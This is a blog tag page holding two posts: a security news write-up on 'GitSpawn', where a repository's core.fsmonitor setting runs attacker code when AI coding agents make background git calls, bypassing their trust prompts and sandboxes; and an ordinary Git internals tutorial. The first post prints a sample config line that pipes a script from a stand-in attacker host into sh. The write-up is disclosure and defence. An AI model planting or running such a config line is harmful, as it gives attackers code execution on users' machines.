Skip to content

git

2 posts with the tag “git”

GitSpawn: Unzip a Repo, and Your AI Coding Agent Runs the Trap

Manifold Security dropped a disclosure on September 1 that changes how every developer should treat a folder of code. They named the class GitSpawn. A repository you receive as files — a zip, a shared drive folder, a USB stick — can carry a command that runs on your machine the moment an AI coding agent opens the folder. No prompt typed. No approval clicked. On some agents, the code fires before you have even logged in (The Hacker News).

Seven agents are in the blast radius: Claude Code, OpenAI Codex, Cursor, Goose, Qwen Code, Grok Build, and Hermes Agent. Eight flaws in total. Four were still unpatched when Manifold retested on September 1 (Manifold Security).

The bug is not in any AI model. It is a collision between Git and the way agents gather context.

Git has a performance setting called core.fsmonitor. Its value is a command. Git runs that command every time it refreshes the index, which means on every git status and every git diff. Git reads the setting from the repository’s own .git/config file (Git documentation). A repository can therefore ship the command itself.

[core]
fsmonitor = curl -s http://attacker.example/x.sh | sh

Now look at what an AI coding agent does when it opens a project. It runs background Git commands to learn the branch and the changed files. Manifold documented the exact calls: git status --porcelain=2 --branch and git diff --name-only HEAD (paddo.dev).

Those commands refresh the index. The index refresh executes core.fsmonitor. The attacker’s helper runs.

Manifold’s Francisco Rosales summed up the trust failure in one line: “This is the agent’s own code spawning a subprocess to use git, so the command runs outside the sandbox, without an approval prompt. The permission model never sees it” (paddo.dev).

The trigger timing is the part that should worry every team. On Claude Code and Hermes Agent, the payload fires before the workspace-trust prompt is accepted. On Qwen Code, it fires before the user has authenticated. On Grok Build, it fires on the first keystroke (The Hacker News).

The permission model is too late by design. Trust prompts, sandboxing, and approval dialogs all assume the agent asks first. The background Git call happens before any of that machinery engages.

AgentStatus as of September 1 retest
Codex (OpenAI)Patched — three CVEs published
CursorPatched after separate reports
Goose (Block)Fixed in 1.44.0 under CVE-2026-72718, CVSS 7.0
Claude Codecore.fsmonitor path fixed in 2.1.196 (confirmed on 2.1.193)
Claude Code ultrareview pathStill unpatched — different config key, name withheld
Hermes AgentUnpatched in 0.21.0 — CVE-2026-71963
Qwen Code (Alibaba)Unpatched in 0.22.3
Grok Build (xAI)Unpatched in 1.0.13

Patch details come from Manifold’s retest and vendor advisories (GBHackers, Manifold Security). Manifold withheld the second Claude Code configuration key on purpose. Publishing it would hand every attacker a reusable template (Cloud Security Alliance).

OpenAI published three CVEs on September 1 covering the identical class in Codex, credited to three unrelated research groups. The record for CVE-2026-19592 states: “The helper runs outside Codex’s command sandbox and without a user-approval prompt, allowing attacker-controlled code to run with the user’s privileges. The code can read, change, or delete the user’s files and access other resources available to the user’s account” (The Hacker News).

The National Vulnerability Database marks Codex CLI 0.102.0 through 0.130.0 as affected and 0.131.0 as the fix. Codex CLI’s current release was 0.152.1 as of September 2, so any install pinned below 0.131.0 stays exposed (NVD, The Hacker News).

The delivery vector is the detail most teams get wrong. Git does not copy local config on git clone. A repo has to arrive as files with its .git directory intact, which is exactly what a shared archive, a sync folder, a shared drive, or a USB stick preserves (The Hacker News, NVD).

The trick itself is old. VS Code gated Git behind workspace trust back in 2021. Justin Steven published the fsmonitor abuse in 2022. Sonar found the same execution path in Claude Code in April 2026, and Anthropic fixed it. The agent wave just re-opened a door the IDE world already closed (paddo.dev).

Cobalt’s red-team writeup said it plainly last December: “FSMonitor abuse exploits a legitimate feature, not a bug. It leverages the intersection of Git’s flexibility and the automation of modern IDEs to turn a repository open event into code execution” (The Hacker News).

No exploitation has surfaced so far. The Hacker News checked CISA’s Known Exploited Vulnerabilities catalog on September 2. None of the CVEs appeared in its 1,687 entries (The Hacker News).

  1. Update every agent you run. Codex CLI needs 0.131.0 or later, Claude Code needs 2.1.196 or later, Goose needs 1.44.0 or later (NVD, GBHackers).
  2. Treat file-transferred repos as hostile input. Anything that arrived as a zip, a sync, or a USB copy carries attacker-controlled config. A clone does not (NVD).
  3. Kill the setting at the CLI level. Git accepts -c core.fsmonitor=false on any command. paddo.dev verified the flag blocks the execution path on a current build (paddo.dev).
  4. Run agents with least privilege. No production credentials, no SSH keys in the environment an agent inherits (fireup.pro).
  5. Demand sanitized Git calls from your tool vendors. Researchers recommend agents invoke Git with repository-controlled configuration disabled, especially before trust prompts and sandbox boundaries engage (Cyberpress).

The lesson is bigger than one CVE class. Your AI agent is a process that runs commands. Its security boundary has to start below the prompt, below the model, and below the first Git call it makes on your behalf. Until vendors build it that way, the folder you open is the input you must vet.

Mastering Git: The Snapshot Database That Powers Your Workflow

You’ve likely used Git daily—committing code, pushing updates, pulling changes. It hums along smoothly until chaos strikes: a botched rebase at midnight, frantic Stack Overflow searches, and crossed fingers that things don’t spiral further. Even seasoned developers often treat Git like a black box, memorizing commands without grasping the mechanics. In this guide, we’ll dismantle Git from its core, rebuilding your understanding so you command it confidently.

At its heart, Git is a database of snapshots, where the atomic unit is the commit. Forget diffs or change lists—a commit captures your entire project state at a precise moment. Every file, unchanged or modified, frozen in time.

Each commit holds:

  • A full snapshot pointer (your codebase as-is).
  • Metadata (author, timestamp, message).
  • A pointer to its parent commit—the previous state.

New commits link backward, forming a chain: child to parent, parent to grandparent, back to the initial commit (with no parent). Merges later introduce commits with two parents, but the rule holds: pointers always flow backward. Parents remain oblivious to future offspring.

This setup yields a linear history for solo sequential commits. Real teams branch for features or fixes, creating diverging paths from shared parents. Merges reconnect them, birthing a DAG (Directed Acyclic Graph):

  • Directed: One-way arrows (children → parents).
  • Acyclic: No loops—history can’t circle back.
  • Graph: Nodes (commits) + edges (parent links).

Visualize it as an inverted family tree encoding every project decision. Git’s magic? Every commit’s completeness lets you teleport to any node, restoring the exact project state—no change replay needed.

Branches intimidate newcomers, evoking visions of duplicated codebases. Wrong. A branch is a sticky note—a lightweight file storing one commit hash.

  • git branch feature/login crafts a note at the current commit.
  • Commits ignore branches; branches chase commits.

Commit on a branch? Git adds the snapshot (parented to prior), then nudges the branch pointer forward. Creation is instantaneous—no copying.

main (or master)? Just the canonical sticky note. Multiple branches = multiple labels on the DAG.

Enter HEAD, Git’s cursor. Typically, it points to a branch (e.g., HEAD → main → commit). Switch branches (git checkout feature), and HEAD shifts.

Checkout a raw hash? HEAD detaches, pointing directly to the commit—“detached HEAD” state. Work proceeds: edit, stage, commit. But stray too far, and new commits orphan—no branch anchors them. Git’s garbage collector eventually prunes them.

Classic pitfall: Inspecting an old commit, fixing a bug, committing, then git checkout main. Poof—orphan commits vanish. heed the warning: branch first to preserve work.

Git juggles three realms:

  1. Working Directory: Your editable files (editor-visible).
  2. Staging Area (Index): Prep zone for the next commit.
  3. Repository: Immutable commit database.

Edit files → changes hit working directory (Git observes silently). git add → stage for commit. git commit → snapshot to repo. This triad makes nuanced commands possible.

Three “undo” tools, each with distinct behavior:

git checkout main or git checkout <hash> repositions HEAD. Working directory syncs to the target snapshot. Branches/commits untouched—just sightseeing history.

On main, git reset <commit> yanks main’s pointer back, orphaning ahead-commits. Modes dictate side effects:

ModeBranch MovesStagingWorking DirectoryUse Case
--softYesUnchangedUnchangedSquash commits (staged changes ready).
--mixed (default)YesReset to targetUnchanged (unstaged)Restage/split commits.
--hardYesResetReset (data loss!)Nuke uncommitted work—use sparingly.

--hard devours uncommitted files forever. Orphaned commits linger briefly (reflog-rescu-able); unstaged work? Eternal void.

No rewinds—git revert <commit> births a new commit undoing the target (e.g., +50 lines → -50 lines). History intact, auditable. Use for shared/pushed changes.

Quick Reference:

  • Checkout: Explore → safe.
  • Reset: Reshape local → cautious.
  • Revert: Amend shared → collaborative.

Feature branch forked pre-main advances (X, Y)? Integrate via:

  • Merge: Two-parent commit preserves parallel truth (messy but honest).
  • Rebase: Replay your commits atop new main.

Commits aren’t movable—their hash derives from content + metadata + parent. Rebase:

  1. Extracts changes from your commits (B → diff, C → diff).
  2. Applies atop tip (Y → B’ → C’).
  3. Repoints branch to C’; orphans B/C.

Power for local cleanliness; poison for shared history—colleagues’ clones see “new” commits, sparking duplicate/conflict hell. Rebase solo; merge teams.

Disaster? git reflog logs HEAD’s travels: checkouts, commits, resets. “Lost” commits (post-reset/rebase) often persist here. git branch recovery <hash> revives them. Git delays deletion (30-90 days)—act fast.

Git: Snapshot DAG. Branches/HEAD as pointers. Three trees for precision. Checkout views; reset reshapes; revert augments; rebase replays. Reflog recovers.

Next Git snag? Trace the graph. No more blind commands—you know.